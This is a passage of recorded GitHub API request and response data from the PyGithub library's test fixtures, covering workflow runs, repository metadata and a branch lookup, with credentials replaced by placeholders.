url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":160843870,"node_id":"MDEwOlJlcG9zaXRvcnkxNjA4NDM4NzA=","name":"PyGithub","full_name":"isouza-daitan/PyGithub","private":false,"owner":{"login":"isouza-daitan","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/isouza-daitan","html_url":"https://github.com/isouza-daitan","followers_url":"https://api.github.com/users/isouza-daitan/followers","following_url":"https://api.github.com/users/isouza-daitan/following{/other_user}","gists_url":"https://api.github.com/users/isouza-daitan/gists{/gist_id}","starred_url":"https://api.github.com/users/isouza-daitan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/isouza-daitan/subscriptions","organizations_url":"https://api.github.com/users/isouza-daitan/orgs","repos_url":"https://api.github.com/users/isouza-daitan/repos","events_url":"https://api.github.com/users/isouza-daitan/events{/privacy}","received_events_url":"https://api.github.com/users/isouza-daitan/received_events","type":"User","site_admin":false},"html_url":"https://github.com/isouza-daitan/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/isouza-daitan/PyGithub","forks_url":"https://api.github.com/repos/isouza-daitan/PyGithub/forks","keys_url":"https://api.github.com/repos/isouza-daitan/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/isouza-daitan/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/isouza-daitan/PyGithub/teams","hooks_url":"https://api.github.com/repos/isouza-daitan/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/isouza-daitan/PyGithub/events","assignees_url":"https://api.github.com/repos/isouza-daitan/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/isouza-daitan/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/isouza-daitan/PyGithub/tags","blobs_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/isouza-daitan/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/isouza-daitan/PyGithub/languages","stargazers_url":"https://api.github.com/repos/isouza-daitan/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/isouza-daitan/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/isouza-daitan/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/isouza-daitan/PyGithub/subscription","commits_url":"https://api.github.com/repos/isouza-daitan/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/isouza-daitan/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/isouza-daitan/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/isouza-daitan/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/isouza-daitan/PyGithub/merges","archive_url":"https://api.github.com/repos/isouza-daitan/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/isouza-daitan/PyGithub/downloads","issues_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/isouza-daitan/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/isouza-daitan/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/isouza-daitan/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/isouza-daitan/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/isouza-daitan/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/isouza-daitan/PyGithub/deployments"}},{"id":108817672,"node_id":"MDExOldvcmtmbG93UnVuMTA4ODE3Njcy","head_branch":"master","head_sha":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","run_number":109,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108817672","pull_requests":[],"created_at":"2020-05-19T02:28:36Z","updated_at":"2020-05-19T02:30:56Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694638563","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","tree_id":"664e6dc179f5f00831cc7ed635bd2e499815a6f0","message":"Turn on coverage reporting for codecov (#1522)\n\nSince we migrated from Travis to GitHub Actions, our coverage on codecov\r\nhas been reporting as 0%, since uploading the .coverage file is a\r\nterrible idea. Turn on XML-based reporting, ignore the file and use that\r\nwhen we upload to codecov.","timestamp":"2020-05-19T02:28:33Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testGetRunsWithObjects.txt0000644000175100001660000016054314756101563025176 0ustar00runnerdockerhttps GET api.github.com None /users/sfdye {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 05:33:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4945'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"b648a8b4d88b4301b5d35d6617c95881"'), ('Last-Modified', 'Tue, 19 May 2020 14:04:56 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F02:50FC:D652B:F72CF:5EC4C11A')] {"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false,"name":"Liuyang Wan","company":"@zendesk ","blog":"https://sfdye.com","location":"Singapore","email":"t@sfdye.com","hireable":null,"bio":"👨‍💻 Open source enthusiast \r\n ☕️ Latte-driven, Python & Django lover","public_repos":96,"public_gists":4,"followers":146,"following":144,"created_at":"2011-08-31T08:01:43Z","updated_at":"2020-05-19T14:04:56Z"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 05:33:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"8b19af04df91b46e97b5ae4388838c9c"'), ('Last-Modified', 'Wed, 20 May 2020 02:37:58 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F04:3C21:CF83A:F0454:5EC4C11A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-05-20T02:37:58Z","pushed_at":"2020-05-20T02:37:54Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12863,"stargazers_count":3454,"watchers_count":3454,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1117,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1117,"open_issues":45,"watchers":3454,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1117,"subscribers_count":100} https GET api.github.com None /repos/PyGithub/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 05:33:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4943'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"8aa4b9f10c053f50300465199f74d2a1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F06:50FF:114A63:13EA52:5EC4C11B')] {"name":"master","commit":{"sha":"61b610926a023d80486ce1115e7331a4c714cfcb","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo2MWI2MTA5MjZhMDIzZDgwNDg2Y2UxMTE1ZTczMzFhNGM3MTRjZmNi","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-05-20T02:37:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-05-20T02:37:52Z"},"message":"Remove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up.","tree":{"sha":"f8bb127aac01f2185fa6d65914859a980d1f89b2","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f8bb127aac01f2185fa6d65914859a980d1f89b2"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/61b610926a023d80486ce1115e7331a4c714cfcb","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 